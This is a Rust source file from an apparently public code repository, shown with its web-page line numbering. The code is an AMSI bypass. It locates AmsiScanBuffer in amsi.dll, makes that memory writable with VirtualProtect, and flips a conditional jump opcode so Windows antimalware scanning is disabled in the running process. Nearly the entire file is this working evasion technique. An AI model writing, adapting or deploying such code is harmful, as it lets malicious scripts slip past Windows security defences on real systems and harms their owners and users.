-
Notifications
You must be signed in to change notification settings - Fork 204
/
Copy pathamsi_bypass.rs
139 lines (112 loc) · 3.69 KB
/
amsi_bypass.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/*
AMSI PATCH [Still Working on IT]
*/
use std::ffi::CString;
use winapi::{
ctypes::c_void,
um::{
errhandlingapi::GetLastError,
libloaderapi::{GetProcAddress, LoadLibraryA},
memoryapi::VirtualProtect,
},
};
macro_rules! okey {
($msg:expr, $($arg:expr), *) => {
println!("\\_____[+] {}", format!($msg, $($arg), *));
}
}
macro_rules! error {
($msg:expr, $($arg:expr), *) => {
println!("\\_____[-] {}", format!($msg, $($arg), *));
}
}
#[allow(temporary_cstring_as_ptr)]
fn main(){
let amsi_buffer = CString::new("AmsiScanBuffer").unwrap().into_raw() as *const u8;
unsafe{
let hook: [u8; 1] = [0x75];
let h_module = LoadLibraryA(
CString::new("AMSI").unwrap().as_ptr()
);
let address = GetProcAddress(
h_module,
amsi_buffer as *const i8,
);
if address.is_null(){
error!("GetProcess Address Failed : {}", GetLastError());
}
okey!("H_MODULE: {:?}",h_module);
okey!("GetProcAddress: {:?}",address);
let address_ptr = address as *mut c_void;
let mut count = 0;
okey!("Address PTR: {:?}",address_ptr);
loop{
let opcode_c3 = *(address_ptr as *const u8).add(count);
let opcode_cc = *(address_ptr as *const u8).add(count+1);
let opcode_cc_2 = *(address_ptr as *const u8).add(count+2);
if opcode_c3 == 0xC3 && opcode_cc == 0xCC && opcode_cc_2 == 0xCC{
break;
}
if count == std::usize::MAX { // Check for overflow
error!("Count reached maximum value without finding {}" , "pattern");
std::process::exit(1);
}
count += 1;
}
println!("First Loop Finishes");
loop{
let offset_ptr = address_ptr.add(count) as *const u8;
if is_patchable(offset_ptr){
let mut old_protect: u32 = 0;
let protect = VirtualProtect(
offset_ptr as *mut c_void,
hook.len(),
0x40, // PAGE_EXECUTIVE_READWRITE
&mut old_protect,
);
if protect == 0{
error!("VirtualProtect Failed with Error: {}", GetLastError());
std::process::exit(0);
}
std::ptr::copy_nonoverlapping(
hook.as_ptr(),
offset_ptr as _,
hook.len(),
);
let protect2 = VirtualProtect(
offset_ptr as *mut c_void,
hook.len(),
old_protect,
&mut old_protect
);
if protect2 == 0{
error!("VirtualProtect Failed with Error: {}",GetLastError());
}
okey!("PATCH AMSI Finish {}",'!');
break;
}
if count == 0 { // Check for underflow
error!("Count reached minimum value without finding {}.","pattern");
std::process::exit(1);
}
count -= 1;
}
}
}
fn is_patchable(addr: *const u8)-> bool{
unsafe{
let opcode = *(addr as *const u8);
if opcode != 0x74{
return false
}
let new_address = *(addr.add(std::mem::size_of::<u8>()));
let mov_address = addr.add(std::mem::size_of::<u8>() * 2).add(new_address as usize);
if *mov_address == 0xB8{
return true
}
}
false
}
#[repr(transparent)]
#[allow(non_camel_case_types)]
pub struct PAGE_PROTECTION_FLAGS(pub u32);